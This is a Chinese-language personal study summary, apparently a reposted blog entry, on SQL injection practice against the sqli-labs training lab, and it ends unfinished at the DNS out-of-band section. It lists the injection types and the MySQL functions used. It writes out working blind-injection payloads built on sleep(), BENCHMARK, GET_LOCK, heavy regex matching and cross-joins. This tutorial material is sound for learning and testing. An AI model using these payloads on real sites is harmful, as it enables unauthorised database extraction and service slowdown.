数据库
首页 > 数据库> > SQLI总结(未完成)

SQLI总结(未完成)

作者:互联网

前言

过年在家直播时写的自用总结。

搭建sqli-labs

用phpstudy_pro,略。

基础知识

分类

基于输入数据类型 基于从服务器收到的响应 基于注入的次序 基于注入位置
字符型 报错注入 一次注入 表单
数字型 联合查询 二次注入 HTTP头部
布尔/时间盲注
堆查询

函数和关键字

#系统函数
@@datadir() //数据库路径
@@version_compile_os() //操作系统版本

# 字符串拼接
concat(str1,str2)  //没有分隔符地连接字符串
group_concat() //以逗号为分隔符连接一个组的字符串
concat_ws(',',str1,str2) //有分隔符连接字符串,第一个参数是分隔符

# union
把两个搜索出来的表格上下拼接到一起,要注意列数、同一列的类型要相同。

# order by
order by x:对结果集按照第x列进行排序
order by 1,2,3,4 对结果集按照1,2,3,4列进行排序

information_schema

首先它是一个数据库,它提供访问数据库元数据的方式,通俗来说就是存储其他数据库名、表名、数据类型等字段。

盲注

布尔盲注

本质就是,通过判断回显来爆数据,下面记录一些会用到的函数,脚本在pycharm上。

字符串截断

left(select(database()),1) //从左开始截取1个字符
substr(select(database()),1,1) //从第1个字符开始,截取1个字符
mid(a,b,c) //同substr

条件判断

# 逻辑分支
1=(if((user() regexp '^root'),1,0));  //如果表达式1正确,返回表达式2,否则返回表达式3
case when xxx then xxx                //呃呃,本质上同上
# 使用正则
select user() regexp '^ro';  //正确返回1,错误返回0
select user() like 'ro%';    //正确返回1,错误返回0

字符转ascii码

ascii()  //将字符串第一个字符转成ascii码
ord()	 //将字符转ascii码

时间盲注

通过延时函数的延时来判断逻辑为真还是为假,那关键还是怎么构造延时,有下面5种方法:

  1. sleep,参数是延时秒数

    # 直接延时5s
    select sleep(5);
    # payload:如果数据库第一个字符ascii大于115就延时,否则什么都不做
    If(ascii(substr(database(),1,1))>115,sleep(5),1)%23 
    
  2. benchmark,第一个参数是执行函数的次数,第二个参数是要执行的函数

    # 执行sha(1)函数10000000次,以此延时,大概4.多秒
    select benchmark(10000000,sha(1));
    # payload实例
    UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;
    
  3. 笛卡尔积,说白了就是两个表排列组合,表A有3行,表B有4行,那笛卡尔积拼出来的表就12行(3x4)

    # 计算information_schema.columns这个表平方以后的行数(再有个C的话就是三次方)
    SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
    # 这个不好用,时间要么太长要么太短,不好控制
    
  4. GET_LOCK(key, timeout)

    首先搞清楚这个函数干什么的,GET_LOCK用来给表加锁,防止多个线程同时操作一个表,有临界资源内味;

    它的第一个参数指定要加锁的表,第二个参数设置当加锁失败时,停止等待的时间;要解锁的话用release_lock('key')

    下面是测试,首先给users表加锁:

    然后再开个terminal,尝试再加锁,结果失败并等待5s

    解锁

    payload:

    # 1、先给表加锁
    select * from ctf where flag = 1 and get_lock('username',1);
    # 2、再加锁失败,形成延时
    select * from ctf where flag = 1 and 1 and get_lock('username',5)
    

    注意:

    • 这个利用方式延时依赖于前一条语句执行,mysql中要求站点是使用mysql_pconnect创造的持久链接
  5. 正则

    使用长字符串+计算量大的正则来拖慢系统达到延时目的。

    select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
    

DNS外带(OOB)

面试的时候HR喜欢问,挺简单一东西,乌鱼子,真下头捏(bushi)

通俗来讲就是,盲注一个一个字符来爆在实际渗透过程中容易被ban(想起自己HVV的时候扫描器一开ip就被ban辽

标签:总结,username,延时,count,SQLI,报错,concat,完成,select
来源: https://www.cnblogs.com/sketchpl4ne/p/15863609.html